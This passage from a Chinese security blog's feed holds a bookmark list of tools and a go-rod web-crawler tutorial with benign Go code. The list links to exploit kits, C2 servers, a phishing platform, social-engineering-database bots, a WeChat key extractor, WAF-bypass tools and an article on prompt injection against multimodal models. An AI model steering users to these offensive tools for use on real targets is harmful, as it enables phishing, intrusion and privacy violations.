高质量漏洞推送</p><p><img src="/2023/10/12/%E6%97%A5%E5%BF%97/%E9%93%BE%E6%8E%A5%E8%AE%B0%E5%BD%95/image-20231013152329008.png" alt="image-20231013152329008"></p><p><a href="https://github.com/nxenon/grpc-pentest-suite">https://github.com/nxenon/grpc-pentest-suite</a> GRPC渗透测试 BURPsuite 插件</p><p><a href="https://github.com/rev1si0n/lamda">https://github.com/rev1si0n/lamda</a> Android reverse engineering & automation framework | 史上最强安卓抓包/逆向/HOOK & 云手机/远程桌面/自动化辅助框架,你的工作从未如此简单快捷。</p><p><a href="https://github.com/Gallopsled/pwntools-tutorial">https://github.com/Gallopsled/pwntools-tutorial</a> pwntools教程</p><p><a href="https://xz.aliyun.com/t/12906">https://xz.aliyun.com/t/12906</a> JWT 漏洞攻防</p><p><a href="https://github.com/AabyssZG/AWD-Guide">https://github.com/AabyssZG/AWD-Guide</a> AWD的脚本</p><p><a href="https://github.com/c0ny1/sqlmap4burp-plus-plus">https://github.com/c0ny1/sqlmap4burp-plus-plus</a> sqlmap 和burpsuite联动插件</p><p><a href="https://github.com/bitsadmin/wesng">https://github.com/bitsadmin/wesng</a> windows explioit suggester</p><p><a href="https://www.bilibili.com/video/BV1Yw411c7gr/">https://www.bilibili.com/video/BV1Yw411c7gr/</a> 西电 CTF 终端</p><p><a href="https://github.com/htr-tech/zphisher">https://github.com/htr-tech/zphisher</a> 自动钓鱼平台 GO语言编写</p><p><a href="https://github.com/Maskhe/FastjsonScan">https://github.com/Maskhe/FastjsonScan</a> Burpsuite插件, FastJson漏洞检测</p><p><a href="https://github.com/LittleBear4/OA-EXPTOOL">https://github.com/LittleBear4/OA-EXPTOOL</a> OA综合利用工具,集合将近20款OA漏洞批量扫描</p><p><a href="https://github.com/ax1sX/SecurityList">https://github.com/ax1sX/SecurityList</a> 代码审计 记录</p><p><a href="https://github.com/teamssix/twiki">https://github.com/teamssix/twiki</a> T Wiki 云安全知识文库,可能是国内首个云安全知识文库?</p><p><a href="https://github.com/TophantTechnology/ARL">https://github.com/TophantTechnology/ARL</a> ARL 资产管理系统</p><p><a href="https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/tree/main/Web">https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/tree/main/Web</a> TCP1P CTF 2023 Challenges</p><p><a href="https://github.com/lemono0/FastJsonParty">https://github.com/lemono0/FastJsonParty</a> FASTJSON 全版本漏洞dokcer</p><p><a href="https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA">https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA</a> 致远OA 代码审计</p><p><a href="https://github.com/hellogoldsnakeman/masnmapscan-V1.0">https://github.com/hellogoldsnakeman/masnmapscan-V1.0</a> nmap + masscan python开发</p><p><a href="https://github.com/fullwaywang/QlRules">https://github.com/fullwaywang/QlRules</a> Auto-generated CodeQL rules for matching CVE vulnerabilities and variants.</p><p><a href="https://github.com/ghostsecurity/waf-btk">https://github.com/ghostsecurity/waf-btk</a> waf绕过</p><p><a href="https://github.com/voukatas/Commander">https://github.com/voukatas/Commander</a> C2 服务器 Python编写</p><p><a href="https://github.com/WKL-Sec/HiddenDesktop">https://github.com/WKL-Sec/HiddenDesktop</a> 隐藏的windows 桌面</p><p><a href="https://github.com/xmendez/wfuzz">https://github.com/xmendez/wfuzz</a> web应用fuzz </p><p><a href="https://github.com/ProbiusOfficial/Awsome-Sec.CTF-Videomaker">https://github.com/ProbiusOfficial/Awsome-Sec.CTF-Videomaker</a> 【Hello CTF】收录国内网络安全以及CTF领域的优秀视频作者</p><p><a href="https://github.com/s7ckTeam/Glass">https://github.com/s7ckTeam/Glass</a> 针对资产列表的快速指纹识别工具 通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹,也可针对IP/IP段或资产列表进行快速的指纹识别。</p><p><a href="https://github.com/Taotaotao666/SGK_Sites_and_Bots">https://github.com/Taotaotao666/SGK_Sites_and_Bots</a> 社工库机器人</p><p><a href="https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement">https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement</a> FastJson 系列漏洞</p><p><a href="https://github.com/projectdiscovery/nuclei-ai-extension">https://github.com/projectdiscovery/nuclei-ai-extension</a> Nuclei AI插件</p><p><a href="https://trickest.com/">https://trickest.com/</a> 自动化渗透测试 解决方案?</p><p><a href="https://github.com/shmilylty/SharpHostInfo">https://github.com/shmilylty/SharpHostInfo</a> SharpHostInfo是一款快速探测内网主机信息工具(深信服深蓝实验室天威战队强力驱动)</p><p><a href="https://github.com/ayadim/Nuclei-bug-hunter">https://github.com/ayadim/Nuclei-bug-hunter</a> Nuclei 脚本</p><p><a href="https://github.com/aquasecurity/trivy">https://github.com/aquasecurity/trivy</a> Go编写,云安全的扫描器</p><p><a href="https://github.com/wjlab/Darksteel">https://github.com/wjlab/Darksteel</a> 域内自动化信息搜集利用工具</p><p><a href="https://github.com/0xlane/wechat-dump-rs">https://github.com/0xlane/wechat-dump-rs</a> 提取微信的Key</p><p><a href="https://github.com/blechschmidt/massdns">https://github.com/blechschmidt/massdns</a> 子域名枚举</p><p><a href="https://github.com/skerkour/black-hat-rust">https://github.com/skerkour/black-hat-rust</a> 《black hat rust》 配套代码 </p><p><img src="/2023/10/12/%E6%97%A5%E5%BF%97/%E9%93%BE%E6%8E%A5%E8%AE%B0%E5%BD%95/areas.png" alt="Areas hackers focused in 2023"></p><p><a href="https://www.hackingarticles.in/burpsuite-for-pentester-logger/">https://www.hackingarticles.in/burpsuite-for-pentester-logger/</a> burpsuite插件 logger++</p><p><a href="https://www.4hou.com/posts/4vn6">https://www.4hou.com/posts/4vn6</a> 工控系统(ICS)安全专业人员的7大技术资源宝库</p><p><a href="https://github.com/harishsg993010/DamnVulnerableLLMProject">https://github.com/harishsg993010/DamnVulnerableLLMProject</a> A LLM explicitly designed for getting hacked</p><p><a href="https://github.com/kpcyrd/sniffglue">https://github.com/kpcyrd/sniffglue</a> 多线程 Rust 嗅探器</p><p><a href="https://github.com/W01fh4cker/VcenterKit">https://github.com/W01fh4cker/VcenterKit</a> Vcenter综合渗透利用工具包</p><p><a href="https://github.com/savior-only/Spring_All_Reachable">https://github.com/savior-only/Spring_All_Reachable</a> Spring漏洞综合利用工具</p><p><a href="https://github.com/0x727/SpringBootExploit">https://github.com/0x727/SpringBootExploit</a> LandGrey/SpringBootVulExploit清单编写,目的hvv期间快速利用漏洞、降低漏洞利用门槛。</p><p><a href="https://github.com/Jlan45/MCCTF">https://github.com/Jlan45/MCCTF</a> 一个在我的世界实现的CTF平台</p><p><a href="https://github.com/kpcyrd/sn0int">https://github.com/kpcyrd/sn0int</a> rust编写 ,自动化工具</p><p><a href="https://xz.aliyun.com/t/12976">https://xz.aliyun.com/t/12976</a> 自动化工具思路</p><p><a href="https://github.com/proudwind/javasec_study">https://github.com/proudwind/javasec_study</a> java 代码审计笔记</p><p><a href="https://github.com/Ridter/TorProxy">https://github.com/Ridter/TorProxy</a> 使用tor 实现动态代理</p><p><a href="https://github.com/Hacker-GPT/HackerGPT">https://github.com/Hacker-GPT/HackerGPT</a> 面向黑客的一款GPT</p><p><a href="https://github.com/aptnotes/data">https://github.com/aptnotes/data</a> APT 分析报告</p><p><a href="https://github.com/gmh5225/awesome-game-security">https://github.com/gmh5225/awesome-game-security</a> 游戏安全</p><p><a href="https://github.com/cea-sec/miasm">https://github.com/cea-sec/miasm</a> Python开发的逆向框架</p><p><a href="https://github.com/Clouditera/secgpt">https://github.com/Clouditera/secgpt</a> 网络安全大模型</p><p><a href="https://github.com/iceyhexman/onlinetools">https://github.com/iceyhexman/onlinetools</a> 在线漏洞检测</p><p><a href="https://github.com/MountCloud/BehinderClientSource">https://github.com/MountCloud/BehinderClientSource</a> 冰蝎源代码逆向</p><p><a href="https://github.com/Orange-Cyberdefense/arsenal">https://github.com/Orange-Cyberdefense/arsenal</a> 快速使用hack 工具的项目</p><p><a href="https://github.com/awake1t/HackReport%E6%9C%AC%E9%A1%B9%E7%9B%AE%E5%9C%A8%E8%84%B1%E6%95%8F%E7%9A%84%E6%83%85%E5%86%B5%E4%B8%8B%E6%95%B4%E7%90%86%E5%87%BA%E5%B8%B8%E8%A7%81%E7%9A%84%E6%8A%A5%E5%91%8A%E6%A8%A1%E6%9D%BF%E3%80%81%E7%BA%A2%E8%93%9D%E5%AF%B9%E6%8A%97%E6%8A%80%E5%B7%A7%E3%80%81%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95%E5%A4%A7%E5%85%A8%E3%80%81%E5%A4%A7%E5%9E%8B%E4%BC%9A%E8%AE%AEPPT">https://github.com/awake1t/HackReport本项目在脱敏的情况下整理出常见的报告模板、红蓝对抗技巧、渗透测试方法大全、大型会议PPT</a></p><p><a href="https://github.com/akkuman/rotateproxy">https://github.com/akkuman/rotateproxy</a> 借助fofa自动切换代理</p><p><a href="https://github.com/gh0stkey/Binary-Learning">https://github.com/gh0stkey/Binary-Learning</a> 二进制安全相关的学习笔记</p><p><a href="https://github.com/edusoho/edusoho">https://github.com/edusoho/edusoho</a> 审计!</p><p><a href="https://github.com/cn-panda/JavaCodeAudit">https://github.com/cn-panda/JavaCodeAudit</a> JAVA 代码审计例子</p><p><a href="https://github.com/Drun1baby/JavaSecurityLearning">https://github.com/Drun1baby/JavaSecurityLearning</a> JAVA安全路线图</p><p><a href="https://github.com/GhostTroops/scan4all">https://github.com/GhostTroops/scan4all</a> 扫描器 ,有大量POC</p><h2 id="开发"><a href="#开发" class="headerlink" title="开发"></a>开发</h2><p>windows 的Proxychains</p><p><a href="https://github.com/shunf4/proxychains-windows/releases/tag/0.6.8">https://github.com/shunf4/proxychains-windows/releases/tag/0.6.8</a></p><p><a href="https://github.com/krahets/hello-algo">https://github.com/krahets/hello-algo</a> HELLO 算法</p><h3 id="Rust"><a href="#Rust" class="headerlink" title="Rust"></a>Rust</h3><p><a href="https://github.com/rust-boom/rust-boom">https://github.com/rust-boom/rust-boom</a> Rust相关资源</p><p><a href="https://www.rust-lang.org/zh-CN/learn">https://www.rust-lang.org/zh-CN/learn</a> Rust官方手册</p><p><a href="https://github.com/GyulyVGC/sniffnet">https://github.com/GyulyVGC/sniffnet</a> Rust编写,网络流量监控</p><p><a href="https://github.com/awesome-rust-com/awesome-rust#cryptocurrencies">https://github.com/awesome-rust-com/awesome-rust#cryptocurrencies</a> Rust的应用</p><p><a href="https://github.com/LearningOS/rust-based-os-comp2023">https://github.com/LearningOS/rust-based-os-comp2023</a> 基于Rust 开源操作系统编写</p><p><a href="https://github.com/tauri-apps/tauri">https://github.com/tauri-apps/tauri</a> 基于Rust 编写的前端框架</p><h3 id="Go"><a href="#Go" class="headerlink" title="Go"></a>Go</h3><p><a href="https://github.com/lizongying/go-crawler">https://github.com/lizongying/go-crawler</a> Go编写 一个爬虫框架</p><p><a href="https://github.com/esrrhs/pingtunnel">https://github.com/esrrhs/pingtunnel</a> GO实现 通过ICMP协议发送TCP/UDP数据包 </p><p><a href="https://github.com/TheAlgorithms/Go">https://github.com/TheAlgorithms/Go</a> 算法和数据结构的Go语言实现</p><p><a href="https://github.com/shockerli/go-awesome">https://github.com/shockerli/go-awesome</a> Go 语言资源整理</p><p><a href="https://github.com/obgnail/typora_plugin">https://github.com/obgnail/typora_plugin</a> typora 插件</p><p><a href="https://github.com/zhanglun/lettura">https://github.com/zhanglun/lettura</a> RSS订阅管理软件, 支持代理功能可以访问国外的博客</p><p><a href="https://hellogithub.com/">https://hellogithub.com/</a> 让你快速上手GITHUB的网站</p><p><a href="https://github.com/veler/DevToys">https://github.com/veler/DevToys</a> 效率工具 包正则表达式、编解码、时间戳转换等常用工具。</p><p><a href="https://github.com/forthespada/CS-Books#04go%E8%AF%AD%E8%A8%80">https://github.com/forthespada/CS-Books#04go%E8%AF%AD%E8%A8%80</a> 大量的计算机类书籍</p><p><a href="https://github.com/DhavalKapil/icmptunnel">https://github.com/DhavalKapil/icmptunnel</a> C实现 通过ICMP协议发送TCP/UDP数据包 </p><p><a href="https://github.com/krahets/hello-algo">https://github.com/krahets/hello-algo</a> 算法动画图解</p><p><a href="https://github.com/qinguoyi/TinyWebServer">https://github.com/qinguoyi/TinyWebServer</a> C++编写 , Linux下的轻量级WebServer服务器</p><p><a href="http://liubin.org/promises-book/#chapter1-what-is-promise">http://liubin.org/promises-book/#chapter1-what-is-promise</a> JavaScript Promise异步</p><p><a href="https://github.com/below/HelloSilicon">https://github.com/below/HelloSilicon</a> An introduction to ARM64 assembly on Apple Silicon Macs</p><p><a href="https://github.com/RubyMetric/chsrc">https://github.com/RubyMetric/chsrc</a> 全平台 换源工具</p><p><a href="https://github.com/D00Movenok/BounceBack">https://github.com/D00Movenok/BounceBack</a> C2</p><p><a href="https://github.com/ekzhang/sshx">https://github.com/ekzhang/sshx</a> ssh 协同工具</p><p><a href="https://ice-webgl.netlify.app/">https://ice-webgl.netlify.app/</a> ICEwebGL 前端 二维三维</p><p><a href="https://github.com/premieroctet/screen-guru">https://github.com/premieroctet/screen-guru</a> 开源的截屏工具,可以搭建到服务器上</p><p> <a href="https://github.com/sml2h3/ddddocr">https://github.com/sml2h3/ddddocr</a> 验证码OCR 识别</p><p><a href="https://github.com/dibingfa/flash-linux0.11-talk">https://github.com/dibingfa/flash-linux0.11-talk</a> 手撕内核</p><h2 id="AI"><a href="#AI" class="headerlink" title="AI"></a>AI</h2><p><a href="https://github.com/Tencent/GameAISDK">https://github.com/Tencent/GameAISDK</a> AI,自动化框架,游戏 基于图像的游戏AI自动化框架</p><p><a href="https://github.com/OvJat/DeepSpeedTutorial">https://github.com/OvJat/DeepSpeedTutorial</a> 分布式训练</p><p><a href="https://mp.weixin.qq.com/s/YwliKrO2leX9Y9eDOaENjA">https://mp.weixin.qq.com/s/YwliKrO2leX9Y9eDOaENjA</a> 大模型微调方法</p><p><a href="https://www.youtube.com/watch?v=HcxwOYMmj40">https://www.youtube.com/watch?v=HcxwOYMmj40</a> 大模型微调</p><p><a href="https://github.com/spdustin/ChatGPT-AutoExpert">https://github.com/spdustin/ChatGPT-AutoExpert</a> 生成chatgpt 提示词</p><p><a href="https://github.com/PWhiddy/PokemonRedExperiments">https://github.com/PWhiddy/PokemonRedExperiments</a> 使用强化学习玩宝可梦</p><p><a href="https://github.com/FlagAlpha/Llama2-Chinese">https://github.com/FlagAlpha/Llama2-Chinese</a> 中文大模型记录</p><p><a href="https://github.com/EwingYangs/awesome-open-gpt">https://github.com/EwingYangs/awesome-open-gpt</a> GPT相关开源项目</p><p><a href="https://github.com/openmlsys/openmlsys-zh">https://github.com/openmlsys/openmlsys-zh</a> 机器学习系统: 设计与实现</p><p><a href="https://github.com/HqWu-HITCS/Awesome-Chinese-LLM">https://github.com/HqWu-HITCS/Awesome-Chinese-LLM</a> 开源中文大模型</p><p><a href="https://github.com/dreamhunter2333/chatgpt-tarot-divination">https://github.com/dreamhunter2333/chatgpt-tarot-divination</a> AI算命</p><p><a href="https://github.com/burn-rs/burn">https://github.com/burn-rs/burn</a> Rust 编写的深度学习框架</p><p><a href="https://www.4hou.com/posts/m0W0%E4%B8%BA%E4%BD%95GPT-4P%E5%AE%B9%E6%98%93%E5%8F%97%E5%88%B0%E5%A4%9A%E6%A8%A1%E6%80%81%E6%8F%90%E7%A4%BA%E6%B3%A8%E5%85%A5%E5%9B%BE%E5%83%8F%E6%94%BB%E5%87%BB%EF%BC%9F">https://www.4hou.com/posts/m0W0为何GPT-4P容易受到多模态提示注入图像攻击?</a></p><p><a href="https://github.com/SkyworkAI/Skywork">https://github.com/SkyworkAI/Skywork</a> 天工系列模型在3.2TB高质量多语言和代码数据上进行预训练。我们开源了模型参数,训练数据,评估数据,评估方法。</p><p><a href="https://ruby-china.org/topics/43461">https://ruby-china.org/topics/43461</a> 显卡对比</p><p><a href="https://github.com/deepseek-ai/DeepSeek-Coder">https://github.com/deepseek-ai/DeepSeek-Coder</a> 使用LLM自动编写代码</p><p><a href="https://github.com/microsoft/AI-For-Beginners">https://github.com/microsoft/AI-For-Beginners</a> 微软官方的AI教程</p><p><a href="https://github.com/01-ai/Yi">https://github.com/01-ai/Yi</a> 开源大模型</p><p><a href="https://github.com/refuel-ai/autolabel">https://github.com/refuel-ai/autolabel</a> 使用大模型自动标签</p><p><a href="https://www.gptsecurity.info/security-papers">https://www.gptsecurity.info/security-papers</a> 大模型相关安全</p><p><a href="https://github.com/RUCAIBox/LLMSurvey#new-the-trends-of-the-number-of-papers-related-to-llms-on-arxiv">https://github.com/RUCAIBox/LLMSurvey#new-the-trends-of-the-number-of-papers-related-to-llms-on-arxiv</a> 大模型相关 论文、代码、模型</p><p><a href="https://github.com/LouisShark/chatgpt_system_prompt">https://github.com/LouisShark/chatgpt_system_prompt</a> 提示词相关gpt</p><p><a href="https://github.com/karpathy/nanoGPT">https://github.com/karpathy/nanoGPT</a> LLM微调工具</p><p><a href="https://github.com/mlabonne/llm-course">https://github.com/mlabonne/llm-course</a> 大模型 RoadMap</p><p><a href="https://github.com/state-spaces/mamba">https://github.com/state-spaces/mamba</a> mamba: transformer的优化改进</p><h2 id="区块链"><a href="#区块链" class="headerlink" title="区块链"></a>区块链</h2><p><a href="https://github.com/numencyber/SmartContractHack_PoC">https://github.com/numencyber/SmartContractHack_PoC</a> 智能合约漏洞POC</p><p><a href="https://github.com/Web3-Club/Blockchain-Developer-roadmap_Chinese">https://github.com/Web3-Club/Blockchain-Developer-roadmap_Chinese</a> 区块链工程师学习路线 中文版。 翻译自 全GitHub所有项目中 Star数排名第六位–Develop roadmap项目的 区块链工程师(Blockchain Developer) 部分。</p><p><a href="https://github.com/ethereum/go-ethereum">https://github.com/ethereum/go-ethereum</a> go 实现的以太坊协议</p><p><a href="https://github.com/openethereum/parity-ethereum">https://github.com/openethereum/parity-ethereum</a> rust实现的 全节点客户端</p><p><a href="https://github.com/runtimeverification/verified-smart-contracts">https://github.com/runtimeverification/verified-smart-contracts</a> 2017 -2020 年间验证过的智能合约</p><p><a href="https://github.com/biquanlibai/blockchain-course">https://github.com/biquanlibai/blockchain-course</a> 区块链课程</p><p><a href="https://github.com/slowmist/SlowMist-Learning-Roadmap-for-Becoming-a-Smart-Contract-Auditor">https://github.com/slowmist/SlowMist-Learning-Roadmap-for-Becoming-a-Smart-Contract-Auditor</a> 智能合约审计学习路线</p><p><a href="https://github.com/slowmist/solana-smart-contract-security-best-practices">https://github.com/slowmist/solana-smart-contract-security-best-practices</a> solana 智能合约审计实践</p><p><a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU4ODQ3NTM2OA==&action=getalbum&album_id=1378673890158936067&scene=126#wechat_redirect">https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU4ODQ3NTM2OA==&action=getalbum&album_id=1378673890158936067&scene=126#wechat_redirect</a> 慢雾科技 区块链安全科普</p><p><a href="https://github.com/manifoldfinance/defi-threat">https://github.com/manifoldfinance/defi-threat</a> DeFi 安全</p><p><a href="https://github.com/blockthreat/blocksec-ctfs">https://github.com/blockthreat/blocksec-ctfs</a> 区块链的CTF writeup</p><p><a href="https://github.com/ccxt/ccxt#usage">https://github.com/ccxt/ccxt#usage</a> CCXT库用于与全球加密货币交易所和支付处理服务进行连接和交易。它提供了对市场数据的快速访问,用于存储、分析、可视化、指标开发、算法交易、战略回溯测试、机器人程序编程和相关软件工程。</p><p><a href="https://xz.aliyun.com/t/12986">https://xz.aliyun.com/t/12986</a> 智能合约漏洞分析</p><p><a href="https://github.com/0xNazgul/fuzzydefi">https://github.com/0xNazgul/fuzzydefi</a> defi FUZZ?</p><p><a href="https://juejin.cn/post/7114306640760799263">https://juejin.cn/post/7114306640760799263</a> 区块链学习路线</p><p><a href="https://github.com/Web3-Club/Hello-hackathon">https://github.com/Web3-Club/Hello-hackathon</a> 黑客松学习手册</p><p><a href="https://binschool.app/">https://binschool.app/</a> 学习网站</p><p><a href="https://github.com/Web3-Club">https://github.com/Web3-Club</a> 社区</p><p><a href="https://abetterweb3.notion.site/abetterweb3-7ce334dcf8524cb79a5894bdd784ddb4">https://abetterweb3.notion.site/abetterweb3-7ce334dcf8524cb79a5894bdd784ddb4</a> 招聘 、学习 </p><p><a href="https://dune.com/browse/dashboards?order=trending&time_range=24h">https://dune.com/browse/dashboards?order=trending&time_range=24h</a> Dune is a web-based platform that allows you to query public blockchain data and aggregate it into beautiful dashboards.</p><p><a href="https://github.com/MONSTERdemo/selenium_metamask_automation/tree/master">https://github.com/MONSTERdemo/selenium_metamask_automation/tree/master</a> metamask交互</p><h2 id="效率工具"><a href="#效率工具" class="headerlink" title="效率工具"></a>效率工具</h2><p><a href="https://github.com/xournalpp/xournalpp/">https://github.com/xournalpp/xournalpp/</a> 电脑版的手写笔记软件</p><p><a href="https://www.proginn.com/">https://www.proginn.com/</a> 程序员客栈</p><p><a href="https://github.com/public-apis/public-apis#development">https://github.com/public-apis/public-apis#development</a> 一些APIkey IP查询等</p><p><a href="https://github.com/GoodCoder666/GoogleTranslate_IPFinder">https://github.com/GoodCoder666/GoogleTranslate_IPFinder</a> 解决谷歌翻译用不了的问题</p><p><a href="https://github.com/maybe-finance/maybe">https://github.com/maybe-finance/maybe</a> 个人金融健康管理工具</p>]]></content>
<categories>
<category> 日志 </category>
</categories>
</entry>
<entry>
<title>go-rod学习</title>
<link href="/2023/10/06/%E7%88%AC%E8%99%AB/go-rod%E5%AD%A6%E4%B9%A0/"/>
<url>/2023/10/06/%E7%88%AC%E8%99%AB/go-rod%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><a href="https://github.com/go-rod/rod">https://github.com/go-rod/rod</a></p><p><a href="https://pkg.go.dev/github.com/go-rod/go-rod-chinese#pkg-types">https://pkg.go.dev/github.com/go-rod/go-rod-chinese#pkg-types</a></p><h1 id="1-go-rod简介"><a href="#1-go-rod简介" class="headerlink" title="1. go-rod简介"></a>1. go-rod简介</h1><h2 id="1-1-关闭headless-进行debug"><a href="#1-1-关闭headless-进行debug" class="headerlink" title="1.1 关闭headless 进行debug"></a>1.1 关闭headless 进行debug</h2><pre><code class="go">package mainimport ( "github.com/go-rod/rod" "github.com/go-rod/rod/lib/input" "github.com/go-rod/rod/lib/launcher" "github.com/go-rod/rod/lib/utils" "time")func main() { l := launcher.New(). Headless(true) defer l.Cleanup() url_control := l.MustLaunch() // 创建一个浏览器实例 browser := rod.New(). ControlURL(url_control). Trace(true). SlowMotion(2 * time.Second). MustConnect() // 延迟关闭浏览器 defer browser.MustClose() // 创建一个页面实例并访问 Bing 搜索页面 page := browser.MustPage("https://www.bing.com").MustWaitLoad() // 在搜索框中输入关键词 "web" page.MustElement("#sb_form_q").MustInput("web").MustType(input.Enter) // 等待搜索结果加载完成 page.MustWaitLoad() //暂停 utils.Pause()}</code></pre><h2 id="1-2-提取页面所有url"><a href="#1-2-提取页面所有url" class="headerlink" title="1.2 提取页面所有url"></a>1.2 提取页面所有url</h2><pre><code class="go"> page_info, _ := page.Info() current_url, _ := url.Parse(page_info.URL) domain := current_url.Scheme + "://" + current_url.Host //获取当前的http://xxxx / a_href, _ := page.ElementsX("//a") for _, element := range a_href { if element.MustAttribute("href") != nil { x := *element.MustAttribute("href") if strings.HasPrefix(x, "/") { println(domain + x) } else { println(x) } } }</code></pre><h2 id="1-2-资源拦截"><a href="#1-2-资源拦截" class="headerlink" title="1.2 资源拦截"></a>1.2 资源拦截</h2><p>正常加载中有很多资源如 css 、字体、图片等是不需要的,我们可以进行拦截操作来降低资源消耗。</p><pre><code class="go"> browser := rod.New().ControlURL(url_control).Trace(true).SlowMotion(2 * time.Second).MustConnect() // 延迟关闭浏览器 defer browser.MustClose() //创建router router := browser.HijackRequests() defer router.MustStop() router.MustAdd("*", func(ctx *rod.Hijack) { //字体 if ctx.Request.Type() == proto.NetworkResourceTypeFont { ctx.Response.Fail(proto.NetworkErrorReasonBlockedByClient) return } // 图片 if ctx.Request.Type() == proto.NetworkResourceTypeImage { ctx.Response.Fail(proto.NetworkErrorReasonBlockedByClient) return } //css if ctx.Request.Type() == proto.NetworkResourceTypeStylesheet { ctx.Response.Fail(proto.NetworkErrorReasonBlockedByClient) return } //视频 if ctx.Request.Type() == proto.NetworkResourceTypeMedia { ctx.Response.Fail(proto.NetworkErrorReasonBlockedByClient) return } ctx.ContinueRequest(&proto.FetchContinueRequest{}) }) go router.Run()</code></pre><h2 id="1-3-封装browser"><a href="#1-3-封装browser" class="headerlink" title="1.3 封装browser"></a>1.3 封装browser</h2><p>browserManager 需要哪些东西呢?</p><ol><li>Launcher ,用于对browser进行配置</li><li>browser , 浏览器实例</li><li>Filter 过滤器,对web请求中一些不必要的资源进行过滤</li><li>pages [] 爬虫打开的页面都放在这里方便管理</li><li>lock 锁 对pages的删除、</li></ol><pre><code class="go"></code></pre><h2 id="1-4-使用管道-信号管道和数据管道"><a href="#1-4-使用管道-信号管道和数据管道" class="headerlink" title="1.4 使用管道: 信号管道和数据管道"></a>1.4 使用管道: 信号管道和数据管道</h2><p>通过管道可以进行多线程的数据交互</p><p>创建10个爬虫,轮循环的获取</p><pre><code class="go">package mainimport ( "JZCrawl/pkg/engine" "github.com/go-rod/rod/lib/utils" "sync")func main() { myBroMannager := engine.InitBrowser(false) go myBroMannager.Rou.Run() defer myBroMannager.CloseBrowser() urls := []string{"https://cn.bing.com/?FORM=Z9FD1", "https://cn.bing.com/rewards/dashboard", "https://cn.bing.com/?scope=web&FORM=HDRSC1", "https://cn.bing.com/images/search?q=web&FORM=HDRSC2", "https://cn.bing.com/videos/search?q=web&FORM=HDRSC3", "https://cn.bing.com/academic/search?q=web&FORM=HDRSC4", "https://cn.bing.com/maps?q=web&FORM=HDRSC7", "https://cn.bing.com/travel/search?q=web&m=flights&FORM=FBSCOP", "https://cn.bing.com/search?q=site:developer.mozilla.org+web", "https://cn.bing.com/news/search?q=site%3awww.sohu.com&FORM=NWBCLM", "https://cn.bing.com/news/search?q=site%3astock.10jqka.com.cn&FORM=NWBCLM", "https://cn.bing.com/news/search?q=site%3aopen.163.com&FORM=NWBCLM", "https://cn.bing.com/news/search?q=site%3awww.163.com&FORM=NWBCLM", "https://cn.bing.com/dict/search?q=web&FORM=BDVSP2&qpvt=w", "https://cn.bing.com/dict/search?q=web&FORM=BDVSP2", "https://cn.bing.com/search?q=web+site%3awww.zhihu.com", "https://cn.bing.com/search?q=webs+sign+in&FORM=LGWQS1", "https://cn.bing.com/search?q=webs+army&FORM=LGWQS2", "https://cn.bing.com/search?q=google+web&FORM=LGWQS3", "https://cn.bing.com/search?q=webs+sign+in&FORM=QSRE1", "https://cn.bing.com/search?q=webs+army&FORM=QSRE2", "https://cn.bing.com/search?q=google+web&FORM=QSRE3", "https://cn.bing.com/search?q=google&FORM=QSRE4", "https://cn.bing.com/search?q=webs.com&FORM=QSRE5", "https://cn.bing.com/search?q=my+webs&FORM=QSRE6", "https://cn.bing.com/search?q=web+internet&FORM=QSRE7", "https://cn.bing.com/search?q=webs+free&FORM=QSRE8", "https://cn.bing.com/search?q=web&form=P4041&sp=-1&lq=0&pq=&sc=0-0&qs=n&sk=&cvid=B3F8FBFCE9B0454494EC9C3CBCCD1291&ghsh=0&ghacc=0&ghpl=&ubiroff=1"} urlQuery := make(chan string, 5) //送入通道中 // 启动10个 goroutine var wg sync.WaitGroup for i := 0; i < 10; i++ { wg.Add(1) // 增加等待组的计数 go CrawlUrl(myBroMannager, urlQuery) } for _, target := range urls { println(target) urlQuery <- target } // 等待所有 goroutine 完成 wg.Wait() //utils.Pause()}func CrawlUrl(bro *engine.BrowserManager, urlQuery <-chan string) { for { select { case url, _ := <-urlQuery: page := bro.NewPage(url) page.MustWaitLoad() pageInfo, _ := page.Info() utils.Sleep(10) print(pageInfo.Title) page.Close() } } print("启动任务") //page.Close()}</code></pre><p>Argo 中通过管道管理了爬虫的创建 tab.go 的TabWork部分。</p><p>创建一个管道 10个容量,每一个爬虫都会占用一个位置,当爬虫结束后再次释放,而TabWork部分负责管理爬虫的产生。</p><h2 id="1-5关闭时间太长-or-空白的页面"><a href="#1-5关闭时间太长-or-空白的页面" class="headerlink" title="1.5关闭时间太长 or 空白的页面"></a>1.5关闭时间太长 or 空白的页面</h2><p>获取浏览器当前的所有页面</p><h2 id="1-6-爬虫中是否要对提取到的URL进行多种处理?"><a href="#1-6-爬虫中是否要对提取到的URL进行多种处理?" class="headerlink" title="1.6 爬虫中是否要对提取到的URL进行多种处理?"></a>1.6 爬虫中是否要对提取到的URL进行多种处理?</h2><p>高速 or 高效 的问题</p><p>如果爬虫中有很多对数据的处理,则延迟了下一个爬虫的产生,个人认为应该优先爬取,让专门的线程对爬虫结果进行处理。</p><hr><p>文章参考:</p><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 爬虫 </category>
</categories>
</entry>
<entry>
<title>Go实现一个爬虫</title>
<link href="/2023/10/06/%E7%88%AC%E8%99%AB/Go%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%88%AC%E8%99%AB/"/>
<url>/2023/10/06/%E7%88%AC%E8%99%AB/Go%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%88%AC%E8%99%AB/</url>
